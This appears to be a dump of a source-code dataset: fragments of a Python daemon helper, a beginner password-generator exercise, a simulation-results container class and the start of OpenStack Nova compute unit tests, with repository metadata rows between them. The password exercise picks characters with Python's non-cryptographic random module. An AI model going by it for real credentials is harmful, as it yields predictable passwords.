int(open(self.pidfile).read()) os.kill(pid, signal.SIGTERM) # wait for a moment to see if the process dies for n in range(10): time.sleep(0.25) try: # poll the process state os.kill(pid, 0) except OSError, why: if why[0] == errno.ESRCH: # process has died break else: raise else: sys.exit("pid %d did not die" % pid) else: sys.exit("not running") def prepare_dirs(self): """Ensure the log and pid file directories exist and are writable""" for fn in (self.pidfile, self.logfile): if not fn: continue parent = os.path.dirname(fn) if not os.path.exists(parent): os.makedirs(parent) self.chown(parent) def set_uid(self): """Drop root privileges""" if self.gid: try: os.setgid(self.gid) except OSError, (code, message): sys.exit("can't setgid(%d): %s, %s" % (self.gid, code, message)) if self.uid: try: os.setuid(self.uid) except OSError, (code, message): sys.exit("can't setuid(%d): %s, %s" % (self.uid, code, message)) def chown(self, fn): """Change the ownership of a file to match the daemon uid/gid""" if self.uid or self.gid: uid = self.uid if not uid: uid = os.stat(fn).st_uid gid = self.gid if not gid: gid = os.stat(fn).st_gid try: os.chown(fn, uid, gid) except OSError, (code, message): sys.exit("can't chown(%s, %d, %d): %s, %s" % (repr(fn), uid, gid, code, message)) def start_logging(self): """Configure the logging module""" try: level = int(self.loglevel) except ValueError: level = int(logging.getLevelName(self.loglevel.upper())) handlers = [] if self.logfile: handlers.append(logging.FileHandler(self.logfile)) self.chown(self.logfile) if not self.options.daemonize: # also log to stderr handlers.append(logging.StreamHandler()) log = logging.getLogger() log.setLevel(level) for h in handlers: h.setFormatter(logging.Formatter( "%(asctime)s %(process)d %(levelname)s %(message)s")) log.addHandler(h) def check_pid(self): """Check the pid file. Stop using sys.exit() if another instance is already running. If the pid file exists but no other instance is running, delete the pid file. """ if not self.pidfile: return # based on twisted/scripts/twistd.py if os.path.exists(self.pidfile): try: pid = int(open(self.pidfile).read().strip()) except ValueError: msg = 'pidfile %s contains a non-integer value' % self.pidfile sys.exit(msg) try: os.kill(pid, 0) except OSError, (code, text): if code == errno.ESRCH: # The pid doesn't exist, so remove the stale pidfile. os.remove(self.pidfile) else: msg = ("failed to check status of process %s " "from pidfile %s: %s" % (pid, self.pidfile, text)) sys.exit(msg) else: msg = ('another instance seems to be running (pid %s), ' 'exiting' % pid) sys.exit(msg) def check_pid_writable(self): """Verify the user has access to write to the pid file. Note that the eventual process ID isn't known until after daemonize(), so it's not possible to write the PID here. """ if not self.pidfile: return if os.path.exists(self.pidfile): check = self.pidfile else: check = os.path.dirname(self.pidfile) if not os.access(check, os.W_OK): msg = 'unable to write to pidfile %s' % self.pidfile sys.exit(msg) def write_pid(self): """Write to the pid file""" if self.pidfile: open(self.pidfile, 'wb').write(str(os.getpid())) def remove_pid(self): """Delete the pid file""" if self.pidfile and os.path.exists(self.pidfile): os.remove(self.pidfile) def get_uid_gid(cp, section): """Get a numeric uid/gid from a configuration file. May return an empty uid and gid. """ uid = cp.get(section, 'uid') if uid: try: int(uid) except ValueError: # convert user name to uid try: uid = pwd.getpwnam(uid)[2] except KeyError: raise ValueError("user is not in password database: %s" % uid) gid = cp.get(section, 'gid') if gid: try: int(gid) except ValueError: # convert group name to gid try: gid = grp.getgrnam(gid)[2] except KeyError: raise ValueError("group is not in group database: %s" % gid) return uid, gid def daemonize(): """Detach from the terminal and continue as a daemon""" # swiped from twisted/scripts/twistd.py # See http://www.erlenstar.demon.co.uk/unix/faq_toc.html#TOC16 if os.fork(): # launch child and... os._exit(0) # kill off parent os.setsid() if os.fork(): # launch child and... os._exit(0) # kill off parent again. os.umask(077) null=os.open('/dev/null', os.O_RDWR) for i in range(3): try: os.dup2(null, i) except OSError, e: if e.errno != errno.EBADF: raise os.close(null)
31.104061
78
0.551285
7959489d41e9f1311f07cc1728e0d73086e3d127
602
py
Python
src/PYnative/exercise/Random Data Generation/Q6.py
c-w-m/learning_python
8f06aa41faf9195d978a7d21cbb329280b0d3200
[ "CNRI-Python" ]
null
null
null
src/PYnative/exercise/Random Data Generation/Q6.py
c-w-m/learning_python
8f06aa41faf9195d978a7d21cbb329280b0d3200
[ "CNRI-Python" ]
null
null
null
src/PYnative/exercise/Random Data Generation/Q6.py
c-w-m/learning_python
8f06aa41faf9195d978a7d21cbb329280b0d3200
[ "CNRI-Python" ]
null
null
null
# Generate a random Password which meets the following conditions # Password length must be 10 characters long. # It must contain at least 2 upper case letter, 2 digits, and 2 special symbols. # My Solution import random import string source = string.ascii_letters + string.digits + string.punctuation password = random.choices(string.ascii_uppercase, k=2) password += random.choices(string.digits, k=2) password += random.choices(string.punctuation, k=2) for i in range(4): password += random.choice(source) random.SystemRandom().shuffle(password) password = ''.join(password) print(password)
30.1
80
0.769103
79594933c0d74a262753633a669147b2de39c55b
8,924
py
Python
build/lib/rsnapsim/SSA_Soln.py
MunskyGroup/rSNAPsim
af3e496d5252e1d2e1da061277123233a5d609b4
[ "MIT" ]
1
2022-01-28T18:17:37.000Z
2022-01-28T18:17:37.000Z
build/lib/rsnapsim/SSA_Soln.py
MunskyGroup/rSNAPsim
af3e496d5252e1d2e1da061277123233a5d609b4
[ "MIT" ]
null
null
null
build/lib/rsnapsim/SSA_Soln.py
MunskyGroup/rSNAPsim
af3e496d5252e1d2e1da061277123233a5d609b4
[ "MIT" ]
1
2020-12-02T06:36:17.000Z
2020-12-02T06:36:17.000Z
# -*- coding: utf-8 -*- """ Created on Thu Dec 17 17:57:33 2020 @author: willi """ from . import GenericMetaData GenericMetaData = GenericMetaData.GenericMetaData import numpy as np import json, codecs from json import encoder class SSA_Soln(): ''' SSA container class holds intensity / ribosome data as well as the propensities used __.n_traj = number of trajectories __.k = propensities used for the simulation __.rib_density = ribosome density per mRNA strand __.ribosome_means ''' def __init__(self): self.n_traj = 0 #number trajectories self.k = [] #propensities self.no_rib_per_mrna = 0 #number of ribosomes per mrna strand self.rib_density = 0 #ribosome density self.ribosome_means = 0 #mean ribosomes self.rib_vec = 0 #actual vector of ribosome locations self.intensity_vec = [] #intensity vectors per SSA trajectory self.time_vec_fixed = [] #time array self.__meta = GenericMetaData().get() def save(self,filename, precision = '.4f'): ext = filename.split('.')[-1] if 'txt' == ext: self.__save_txt(filename) if 'json' == ext: self.__save_json(filename,precision= precision) def load(self,filename): ext = filename.split('.')[-1] if 'txt' == ext: self.__load_from_txt(filename) if 'json' == ext: self.__load_from_json(filename) def __save_txt(self,filename): if '.txt' in filename: f = open(filename, 'a') for key in self.__dict__.keys(): if key != 'rib_vec' and key != 'ribosome_means': f.write((key + '\r\n')) np.savetxt(f, np.atleast_2d(self.__dict__[key]), delimiter=',', fmt='%s') f.write(('\r\n')) else: filename = filename + '.txt' f = open(filename,'a') for key in self.__dict__.keys(): if key != 'rib_vec' and key != 'ribosome_means': f.write((key + '\r\n')) np.savetxt(f, np.atleast_2d(self.__dict__[key]), delimiter=',', fmt='%s') f.write(('\r\n')) f.close() def __load_from_txt(self, filename): if '.txt' in filename: ssa_obj = np.loadtxt(filename, dtype=str,delimiter='\n') solutions = [] for i in range(0,len(ssa_obj)-1): label = ssa_obj[i] if label in ['rib_means', 'rib_vec', 'n_traj', 'start_time', 'k', 'time_vec_fixed', 'dwelltime', 'mean_autocorr', 'no_rib_per_mrna', 'ke_sim', 'autocorr_vec', 'ribosome_means', 'error_autocorr', 'rib_density', 'time', 'ke_true', 'evaluating_inhibitor', 'time_inhibit', 'evaluating_frap']: if label in ['start_time', 'no_rib_per_mrna', 'ke_sim', 'dwelltime','ke_true','time_inhibit']: array = np.fromstring(ssa_obj[i+1], dtype=float, sep=',')[0] exec(('self.'+label+ '=array')) elif label in ['n_traj']: array = int(np.fromstring(ssa_obj[i+1], dtype=float, sep=',')[0]) exec(('self.'+label+ '=array')) else: array = np.fromstring(ssa_obj[i+1], dtype=float, sep=',') exec(('self.'+label+ '=array')) if label in ['evaluating_inhibitor','evaluating_frap']: if 'False' in ssa_obj[i+1]: exec(('self.'+label+ '=False')) if 'True' in ssa_obj[i+1]: exec(('self.'+label+ '=True')) for i in range(0,len(ssa_obj)-1): label = ssa_obj[i] if label == 'intensity_vec': tvec = self.time_vec_fixed[np.where(self.time_vec_fixed >= self.start_time)] i_vec = np.zeros((self.n_traj, len(self.time))) for j in range(self.n_traj): array = np.fromstring(ssa_obj[i+j+1], dtype=float,sep=',') i_vec[j] = array exec(('self.'+label+ '=i_vec')) if label == 'solutions': for j in range(self.n_traj): array = np.fromstring(ssa_obj[i+j+1], dtype=float,sep=',') solutions.append(array) exec(('self.'+label+ '=solutions')) def make_dict(self): ssadict = {} for key in self.__dict__.keys(): print(key) if key != 'rib_vec' and key != 'ribosome_means': try: ssadict[key] = self.__dict__[key].tolist() except: ssadict[key] = self.__dict__[key] if key == 'col_points': col_pt = [x.tolist() for x in self.__dict__[key] ] ssadict[key] = col_pt return ssadict def __set_float_pres(self,precision='.4f'): print(precision) encoder.FLOAT_REPR = lambda o: format(o,precision) def __make_float(self,float_like, precision): return float(('%' + precision) % float_like) def __format_floats(self,arraylike,precision='.4f'): n_decimals = int(precision.split('.')[1][:-1]) if isinstance(arraylike, np.ndarray): tmp_arr = np.around( arraylike, decimals=n_decimals ) .tolist() return tmp_arr else: tmp_arr = arraylike if isinstance(tmp_arr,float): return self.__make_float(tmp_arr, precision) if isinstance(tmp_arr,list): return [self.__make_float(x,precision) for x in tmp_arr] def __save_json(self, filename, precision='.4f'): if '.json' in filename: ssadict = {} for key in self.__dict__.keys(): if key != 'col_points': if type(self.__dict__[key]) in [float, list, np.ndarray]: ssadict[key] = self.__format_floats(self.__dict__[key], precision= precision) else: ssadict[key] = self.__dict__[key] if key == 'col_points': col_pt = [x.tolist() for x in self.__dict__[key] ] ssadict[key] = col_pt json.dump(ssadict, codecs.open(filename, 'w', encoding='utf-8'), separators=(',', ':'), sort_keys=True, indent=4) else: filename = filename + '.json' ssadict = {} for key in self.__dict__.keys(): if key != 'rib_vec' and key != 'ribosome_means': try: ssadict[key] = self.ssa_harr.__dict__[key].tolist() except: ssadict[key] = self.ssa_harr.__dict__[key] json.dump(ssadict, codecs.open(filename, 'w', encoding='utf-8'), separators=(',', ':'), sort_keys=True, indent=4) def __load_from_json(self,filename): if '.json' in filename: obj_text = codecs.open(filename, 'r', encoding='utf-8').read() ssadict = json.loads(obj_text) for key in ssadict.keys(): if key in ['solutions','all_trna_results','rib_means','time_vec_fixed','mean_autocorr','autocorr_vec','error_autocorr','rib_density','intensity_vec','I']: self.__dict__[key] = np.array(ssadict[key]) elif key in ['colpoints']: cpts = [np.array(x) for x in ssadict[key]] self.__dict__[key] = cpts else: self.__dict__[key] = ssadict[key]
36.876033
170
0.453384
795949e3e773bc18c896588ae258abed3b29623f
417,198
py
Python
nova/tests/compute/test_compute.py
bopopescu/plumgrid-nova
87579b67ed9a2d62f04d3540d6fb817cc002cead
[ "Apache-2.0" ]
null
null
null
nova/tests/compute/test_compute.py
bopopescu/plumgrid-nova
87579b67ed9a2d62f04d3540d6fb817cc002cead
[ "Apache-2.0" ]
null
null
null
nova/tests/compute/test_compute.py
bopopescu/plumgrid-nova
87579b67ed9a2d62f04d3540d6fb817cc002cead
[ "Apache-2.0" ]
1
2020-07-24T09:07:58.000Z
2020-07-24T09:07:58.000Z
# vim: tabstop=4 shiftwidth=4 softtabstop=4 # Copyright 2010 United States Government as represented by the # Administrator of the National Aeronautics and Space Administration. # Copyright 2011 Piston Cloud Computing, Inc. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. """Tests for compute service.""" import base64 import copy import datetime import sys import testtools import time import traceback import uuid import mox from oslo.config import cfg import nova from nova import block_device from nova import compute from nova.compute import api as compute_api from nova.compute import flavors from nova.compute import manager as compute_manager from nova.compute import power_state from nova.compute import rpcapi as compute_rpcapi from nova.compute import task_states from nova.compute import utils as compute_utils from nova.compute import vm_states from nova.conductor import manager as conductor_manager from nova import context from nova import db from nova import exception from nova.image import glance from nova.network import api as network_api from nova.network import model as network_model from nova.network.security_group import openstack_driver from nova.objects import base as obj_base from nova.objects import instance as instance_obj from nova.openstack.common.gettextutils import _ from nova.openstack.common import importutils from nova.openstack.common import jsonutils from nova.openstack.common import log as logging from nova.openstack.common.notifier import api as notifier_api from nova.openstack.common.notifier import test_notifier from nova.openstack.common import rpc from nova.openstack.common.rpc import common as rpc_common from nova.openstack.common import timeutils from nova.openstack.common import uuidutils from nova import policy from nova import quota from nova import test from nova.tests.compute import fake_resource_tracker from nova.tests.db import fakes as db_fakes from nova.tests import fake_instance from nova.tests import fake_instance_actions from nova.tests import fake_network from nova.tests import fake_network_cache_model from nova.tests.image import fake as fake_image from nova.tests import matchers from nova import utils from nova.virt.event import EVENT_LIFECYCLE_PAUSED from nova.virt.event import EVENT_LIFECYCLE_RESUMED from nova.virt.event import EVENT_LIFECYCLE_STARTED from nova.virt.event import EVENT_LIFECYCLE_STOPPED from nova.virt.event import LifecycleEvent from nova.virt import fake from nova.volume import cinder QUOTAS = quota.QUOTAS LOG = logging.getLogger(__name__) CONF = cfg.CONF CONF.import_opt('compute_manager', 'nova.service') CONF.import_opt('host', 'nova.netconf') CONF.import_opt('live_migration_retry_count', 'nova.compute.manager') FAKE_IMAGE_REF = 'fake-image-ref' NODENAME = 'fakenode1' def nop_report_driver_status(self): pass def get_primitive_instance_by_uuid(context, instance_uuid): """ Helper method to get an instance and then convert it to a primitive form using jsonutils. """ instance = db.instance_get_by_uuid(context, instance_uuid) return jsonutils.to_primitive(instance) def unify_instance(instance): """Return a dict-like instance for both object-initiated and model-initiated sources that can reasonably be compared. """ newdict = dict() for k, v in instance.iteritems(): if isinstance(v, datetime.datetime): # NOTE(danms): DB models and Instance objects have different # timezone expectations v = v.replace(tzinfo=None) elif k == 'fault': # NOTE(danms): DB models don't have 'fault' continue newdict[k] = v return newdict class FakeSchedulerAPI(object): def run_instance(self, ctxt, request_spec, admin_password, injected_files, requested_networks, is_first_time, filter_properties): pass def live_migration(self, ctxt, block_migration, disk_over_commit, instance, dest): pass def prep_resize(self, ctxt, instance, instance_type, image, request_spec, filter_properties, reservations): pass class BaseTestCase(test.TestCase): def setUp(self): super(BaseTestCase, self).setUp() notifier_api._reset_drivers() self.addCleanup(notifier_api._reset_drivers) self.flags(compute_driver='nova.virt.fake.FakeDriver', notification_driver=[test_notifier.__name__], network_manager='nova.network.manager.FlatManager') fake.set_nodes([NODENAME]) self.flags(use_local=True, group='conductor') self.compute = importutils.import_object(CONF.compute_manager) # override tracker with a version that doesn't need the database: fake_rt = fake_resource_tracker.FakeResourceTracker(self.compute.host, self.compute.driver, NODENAME) self.compute._resource_tracker_dict[NODENAME] = fake_rt def fake_get_compute_nodes_in_db(context): fake_compute_nodes = [{'local_gb': 259, 'vcpus_used': 0, 'deleted': 0, 'hypervisor_type': 'powervm', 'created_at': '2013-04-01T00:27:06.000000', 'local_gb_used': 0, 'updated_at': '2013-04-03T00:35:41.000000', 'hypervisor_hostname': 'fake_phyp1', 'memory_mb_used': 512, 'memory_mb': 131072, 'current_workload': 0, 'vcpus': 16, 'cpu_info': 'ppc64,powervm,3940', 'running_vms': 0, 'free_disk_gb': 259, 'service_id': 7, 'hypervisor_version': 7, 'disk_available_least': 265856, 'deleted_at': None, 'free_ram_mb': 130560, 'id': 2}] return fake_compute_nodes def fake_compute_node_delete(context, compute_node): self.assertEqual(compute_node.get('hypervisor_hostname'), 'fake_phyp1') self.stubs.Set(self.compute, '_get_compute_nodes_in_db', fake_get_compute_nodes_in_db) self.stubs.Set(self.compute.conductor_api, 'compute_node_delete', fake_compute_node_delete) self.compute.update_available_resource( context.get_admin_context()) self.user_id = 'fake' self.project_id = 'fake' self.context = context.RequestContext(self.user_id, self.project_id) test_notifier.NOTIFICATIONS = [] def fake_show(meh, context, id): if id: return {'id': id, 'min_disk': None, 'min_ram': None, 'name': 'fake_name', 'status': 'active', 'properties': {'kernel_id': 'fake_kernel_id', 'ramdisk_id': 'fake_ramdisk_id', 'something_else': 'meow'}} else: raise exception.ImageNotFound(image_id=id) fake_image.stub_out_image_service(self.stubs) self.stubs.Set(fake_image._FakeImageService, 'show', fake_show) fake_rpcapi = FakeSchedulerAPI() self.stubs.Set(self.compute, 'scheduler_rpcapi', fake_rpcapi) fake_network.set_stub_network_methods(self.stubs) fake_instance_actions.stub_out_action_events(self.stubs) def fake_get_nw_info(cls, ctxt, instance, *args, **kwargs): self.assertTrue(ctxt.is_admin) return fake_network.fake_get_instance_nw_info(self.stubs, 1, 1, spectacular=True) self.stubs.Set(network_api.API, 'get_instance_nw_info', fake_get_nw_info) self.stubs.Set(network_api.API, 'allocate_for_instance', fake_get_nw_info) self.compute_api = compute.API() # Just to make long lines short self.rt = self.compute._get_resource_tracker(NODENAME) def tearDown(self): timeutils.clear_time_override() ctxt = context.get_admin_context() fake_image.FakeImageService_reset() instances = db.instance_get_all(ctxt) for instance in instances: db.instance_destroy(ctxt, instance['uuid']) fake.restore_nodes() super(BaseTestCase, self).tearDown() def stub_out_client_exceptions(self): def passthru(exceptions, func, *args, **kwargs): return func(*args, **kwargs) self.stubs.Set(rpc_common, 'catch_client_exception', passthru) def _create_fake_instance(self, params=None, type_name='m1.tiny', services=False): """Create a test instance.""" if not params: params = {} def make_fake_sys_meta(): sys_meta = {} inst_type = flavors.get_flavor_by_name(type_name) for key in flavors.system_metadata_flavor_props: sys_meta['instance_type_%s' % key] = inst_type[key] return sys_meta inst = {} inst['vm_state'] = vm_states.ACTIVE inst['task_state'] = None inst['image_ref'] = FAKE_IMAGE_REF inst['reservation_id'] = 'r-fakeres' inst['user_id'] = self.user_id inst['project_id'] = self.project_id inst['host'] = 'fake_host' inst['node'] = NODENAME type_id = flavors.get_flavor_by_name(type_name)['id'] inst['instance_type_id'] = type_id inst['ami_launch_index'] = 0 inst['memory_mb'] = 0 inst['vcpus'] = 0 inst['root_gb'] = 0 inst['ephemeral_gb'] = 0 inst['architecture'] = 'x86_64' inst['os_type'] = 'Linux' inst['system_metadata'] = make_fake_sys_meta() inst['locked'] = False inst['created_at'] = timeutils.utcnow() inst['updated_at'] = timeutils.utcnow() inst['launched_at'] = timeutils.utcnow() inst['security_groups'] = [] inst.update(params) if services: _create_service_entries(self.context.elevated(), {'fake_zone': [inst['host']]}) return db.instance_create(self.context, inst) def _create_instance(self, params=None, type_name='m1.tiny'): """Create a test instance. Returns uuid.""" return self._create_fake_instance(params, type_name=type_name) def _objectify(self, db_inst): return instance_obj.Instance._from_db_object( self.context, instance_obj.Instance(), db_inst, expected_attrs=instance_obj.INSTANCE_DEFAULT_FIELDS) def _create_fake_instance_obj(self, params=None, type_name='m1.tiny'): db_inst = self._create_fake_instance(params, type_name=type_name) return self._objectify(db_inst) def _create_instance_type(self, params=None): """Create a test instance type.""" if not params: params = {} context = self.context.elevated() inst = {} inst['name'] = 'm1.small' inst['memory_mb'] = 1024 inst['vcpus'] = 1 inst['root_gb'] = 20 inst['ephemeral_gb'] = 10 inst['flavorid'] = '1' inst['swap'] = 2048 inst['rxtx_factor'] = 1 inst.update(params) return db.flavor_create(context, inst)['id'] def _create_group(self): values = {'name': 'testgroup', 'description': 'testgroup', 'user_id': self.user_id, 'project_id': self.project_id} return db.security_group_create(self.context, values) class ComputeVolumeTestCase(BaseTestCase): def setUp(self): super(ComputeVolumeTestCase, self).setUp() self.volume_id = 'fake' self.fetched_attempts = 0 self.instance = { 'id': 'fake', 'uuid': 'fake', 'name': 'fake', 'root_device_name': '/dev/vda', } self.stubs.Set(self.compute.volume_api, 'get', lambda *a, **kw: {'id': self.volume_id}) self.stubs.Set(self.compute.driver, 'get_volume_connector', lambda *a, **kw: None) self.stubs.Set(self.compute.volume_api, 'initialize_connection', lambda *a, **kw: {}) self.stubs.Set(self.compute.volume_api, 'terminate_connection', lambda *a, **kw: None) self.stubs.Set(self.compute.volume_api, 'attach', lambda *a, **kw: None) self.stubs.Set(self.compute.volume_api, 'detach', lambda *a, **kw: None) self.stubs.Set(self.compute.volume_api, 'check_attach', lambda *a, **kw: None) def store_cinfo(context, *args): self.cinfo = jsonutils.loads(args[-1].get('connection_info')) self.stubs.Set(self.compute.conductor_api, 'block_device_mapping_update', store_cinfo) self.stubs.Set(self.compute.conductor_api, 'block_device_mapping_update_or_create', store_cinfo) def test_attach_volume_serial(self): instance = self._create_fake_instance() self.compute.attach_volume(self.context, self.volume_id, '/dev/vdb', instance) self.assertEqual(self.cinfo.get('serial'), self.volume_id) def test_await_block_device_created_to_slow(self): def never_get(context, vol_id): return { 'status': 'creating', 'id': 'blah', } self.stubs.Set(self.compute.volume_api, 'get', never_get) self.assertRaises(exception.VolumeNotCreated, self.compute._await_block_device_map_created, self.context, '1', max_tries=2, wait_between=0.1) def test_await_block_device_created_slow(self): c = self.compute def slow_get(context, vol_id): while self.fetched_attempts < 2: self.fetched_attempts += 1 return { 'status': 'creating', 'id': 'blah', } return { 'status': 'available', 'id': 'blah', } self.stubs.Set(c.volume_api, 'get', slow_get) attempts = c._await_block_device_map_created(self.context, '1', max_tries=4, wait_between=0.1) self.assertEqual(attempts, 3) def test_boot_volume_serial(self): block_device_mapping = [{ 'id': 1, 'no_device': None, 'virtual_name': None, 'snapshot_id': None, 'volume_id': self.volume_id, 'device_name': '/dev/vdb', 'delete_on_termination': False, }] self.compute._setup_block_device_mapping(self.context, self.instance, block_device_mapping) self.assertEqual(self.cinfo.get('serial'), self.volume_id) def test_boot_volume_metadata(self): block_device_mapping = [{ 'id': 1, 'device_name': 'vda', 'volume_image_metadata': {'test_key': 'test_value'}, 'no_device': None, 'virtual_name': None, 'snapshot_id': None, 'volume_id': self.volume_id, 'delete_on_termination': False, }] expected_output = {'volume_image_metadata': {'test_key': 'test_value'}} self.stubs.Set(self.compute_api.volume_api, 'get', lambda *a, **kw: expected_output) vol = self.compute_api.volume_api.get(self.context, block_device_mapping) vol_md = self.compute_api._get_volume_image_metadata(self.context, block_device_mapping) self.assertEqual(vol_md['test_key'], 'test_value') def test_poll_volume_usage_disabled(self): ctxt = 'MockContext' self.mox.StubOutWithMock(self.compute, '_get_host_volume_bdms') self.mox.StubOutWithMock(utils, 'last_completed_audit_period') # None of the mocks should be called. self.mox.ReplayAll() CONF.volume_usage_poll_interval = 0 self.compute._poll_volume_usage(ctxt) self.mox.UnsetStubs() def test_poll_volume_usage_interval_not_elapsed(self): ctxt = 'MockContext' self.mox.StubOutWithMock(self.compute, '_get_host_volume_bdms') self.mox.StubOutWithMock(utils, 'last_completed_audit_period') self.mox.StubOutWithMock(self.compute.driver, 'get_all_volume_usage') self.mox.StubOutWithMock(time, 'time') # Following methods will be called. utils.last_completed_audit_period().AndReturn((0, 0)) time.time().AndReturn(10) self.mox.ReplayAll() CONF.volume_usage_poll_interval = 2 self.compute._last_vol_usage_poll = 9 self.compute._poll_volume_usage(ctxt) self.mox.UnsetStubs() def test_poll_volume_usage_returns_no_vols(self): ctxt = 'MockContext' self.compute.host = 'MockHost' self.mox.StubOutWithMock(self.compute, '_get_host_volume_bdms') self.mox.StubOutWithMock(utils, 'last_completed_audit_period') self.mox.StubOutWithMock(self.compute.driver, 'get_all_volume_usage') # Following methods are called. utils.last_completed_audit_period().AndReturn((0, 0)) self.compute._get_host_volume_bdms(ctxt, 'MockHost').AndReturn([]) self.mox.ReplayAll() CONF.volume_usage_poll_interval = 10 self.compute._last_vol_usage_poll = 0 self.compute._poll_volume_usage(ctxt) self.mox.UnsetStubs() def test_poll_volume_usage_with_data(self): ctxt = 'MockContext' self.compute.host = 'MockHost' curr_time = time.time() self.mox.StubOutWithMock(utils, 'last_completed_audit_period') self.mox.StubOutWithMock(self.compute, '_get_host_volume_bdms') self.mox.StubOutWithMock(self.compute, '_update_volume_usage_cache') self.stubs.Set(self.compute.driver, 'get_all_volume_usage', lambda x, y: [3, 4]) # All the mocks are called utils.last_completed_audit_period().AndReturn((10, 20)) self.compute._get_host_volume_bdms(ctxt, 'MockHost').AndReturn([1, 2]) self.compute._update_volume_usage_cache(ctxt, [3, 4]) self.mox.ReplayAll() CONF.volume_usage_poll_interval = 10 self.compute._last_vol_usage_poll = 0 self.compute._poll_volume_usage(ctxt) self.assertTrue((curr_time < self.compute._last_vol_usage_poll), "_last_vol_usage_poll was not properly updated <%s>" % self.compute._last_vol_usage_poll) self.mox.UnsetStubs() def test_detach_volume_usage(self): # Test that detach volume update the volume usage cache table correctly instance = self._create_fake_instance() vol = {'id': 1, 'attach_status': 'in-use', 'instance_uuid': instance['uuid']} bdm = {'id': 1, 'device_name': '/dev/vdb', 'connection_info': '{}', 'instance_uuid': instance['uuid'], 'volume_id': 1} self.mox.StubOutWithMock(self.compute, '_get_instance_volume_bdm') self.mox.StubOutWithMock(self.compute.driver, 'block_stats') self.mox.StubOutWithMock(self.compute, '_get_host_volume_bdms') self.mox.StubOutWithMock(self.compute.driver, 'get_all_volume_usage') # The following methods will be called self.compute._get_instance_volume_bdm(self.context, instance, 1).\ AndReturn(bdm) self.compute.driver.block_stats(instance['name'], 'vdb').\ AndReturn([1L, 30L, 1L, 20L, None]) self.compute._get_host_volume_bdms(self.context, 'fake-mini').\ AndReturn(bdm) self.compute.driver.get_all_volume_usage(self.context, bdm).\ AndReturn([{'volume': 1, 'rd_req': 1, 'rd_bytes': 10, 'wr_req': 1, 'wr_bytes': 5, 'instance': instance}]) self.mox.ReplayAll() self.compute.attach_volume(self.context, 1, '/dev/vdb', instance) # Poll volume usage & then detach the volume. This will update the # total fields in the volume usage cache. CONF.volume_usage_poll_interval = 10 self.compute._poll_volume_usage(self.context) # Check that a volume.usage and volume.attach notification was sent self.assertEqual(2, len(test_notifier.NOTIFICATIONS)) msg = test_notifier.NOTIFICATIONS[0] self.compute.detach_volume(self.context, 1, instance) # Check that volume.attach, 2 volume.usage, and volume.detach # notifications were sent self.assertEquals(4, len(test_notifier.NOTIFICATIONS)) msg = test_notifier.NOTIFICATIONS[0] self.assertEquals('compute.instance.volume.attach', msg['event_type']) msg = test_notifier.NOTIFICATIONS[2] self.assertEquals('volume.usage', msg['event_type']) payload = msg['payload'] self.assertEquals(instance['uuid'], payload['instance_id']) self.assertEquals('fake', payload['user_id']) self.assertEquals('fake', payload['tenant_id']) self.assertEquals(1, payload['reads']) self.assertEquals(30, payload['read_bytes']) self.assertEquals(1, payload['writes']) self.assertEquals(20, payload['write_bytes']) self.assertEquals(None, payload['availability_zone']) msg = test_notifier.NOTIFICATIONS[3] self.assertEquals('compute.instance.volume.detach', msg['event_type']) # Check the database for the volume_usages = db.vol_get_usage_by_time(self.context, 0) self.assertEqual(1, len(volume_usages)) volume_usage = volume_usages[0] self.assertEqual(0, volume_usage['curr_reads']) self.assertEqual(0, volume_usage['curr_read_bytes']) self.assertEqual(0, volume_usage['curr_writes']) self.assertEqual(0, volume_usage['curr_write_bytes']) self.assertEqual(1, volume_usage['tot_reads']) self.assertEqual(30, volume_usage['tot_read_bytes']) self.assertEqual(1, volume_usage['tot_writes']) self.assertEqual(20, volume_usage['tot_write_bytes']) def test_validate_bdm(self): # Test if volume is checked for availability before being attached # at boot time def fake_bdms(context, instance_uuid): block_device_mapping = [{ 'id': 1, 'no_device': None, 'source_type': 'volume', 'destination_type': 'volume', 'snapshot_id': None, 'volume_id': self.volume_id, 'device_name': 'vda', 'delete_on_termination': False, }] return block_device_mapping self.stubs.Set(self.compute.db, 'block_device_mapping_get_all_by_instance', fake_bdms) # Check that the volume status is 'available' and reject if not def fake_volume_get_1(self, context, volume_id): return {'id': volume_id, 'status': 'creating', 'attach_status': 'detached'} self.stubs.Set(cinder.API, 'get', fake_volume_get_1) self.assertRaises(exception.InvalidBDMVolume, self.compute_api._validate_bdm, self.context, instance=self.instance) # Check that the volume attach_status is 'detached' and reject if not def fake_volume_get_2(self, context, volume_id): return {'id': volume_id, 'status': 'available', 'attach_status': 'attached'} self.stubs.Set(cinder.API, 'get', fake_volume_get_2) self.assertRaises(exception.InvalidBDMVolume, self.compute_api._validate_bdm, self.context, instance=self.instance) # Check that the volume status is 'available' and attach_status is # 'detached' and accept the request if so def fake_volume_get_3(self, context, volume_id): return {'id': volume_id, 'status': 'available', 'attach_status': 'detached'} self.stubs.Set(cinder.API, 'get', fake_volume_get_3) self.compute_api._validate_bdm(self.context, instance=self.instance) class ComputeTestCase(BaseTestCase): def test_wrap_instance_fault(self): inst = {"uuid": "fake_uuid"} called = {'fault_added': False} def did_it_add_fault(*args): called['fault_added'] = True self.stubs.Set(compute_utils, 'add_instance_fault_from_exc', did_it_add_fault) @compute_manager.wrap_instance_fault def failer(self2, context, instance): raise NotImplementedError() self.assertRaises(NotImplementedError, failer, self.compute, self.context, instance=inst) self.assertTrue(called['fault_added']) def test_wrap_instance_fault_instance_in_args(self): inst = {"uuid": "fake_uuid"} called = {'fault_added': False} def did_it_add_fault(*args): called['fault_added'] = True self.stubs.Set(compute_utils, 'add_instance_fault_from_exc', did_it_add_fault) @compute_manager.wrap_instance_fault def failer(self2, context, instance): raise NotImplementedError() self.assertRaises(NotImplementedError, failer, self.compute, self.context, inst) self.assertTrue(called['fault_added']) def test_wrap_instance_fault_no_instance(self): inst_uuid = "fake_uuid" called = {'fault_added': False} def did_it_add_fault(*args): called['fault_added'] = True self.stubs.Set(compute_utils, 'add_instance_fault_from_exc', did_it_add_fault) @compute_manager.wrap_instance_fault def failer(self2, context, instance_uuid): raise exception.InstanceNotFound(instance_id=instance_uuid) self.assertRaises(exception.InstanceNotFound, failer, self.compute, self.context, inst_uuid) self.assertFalse(called['fault_added']) def test_wrap_instance_event(self): inst = {"uuid": "fake_uuid"} 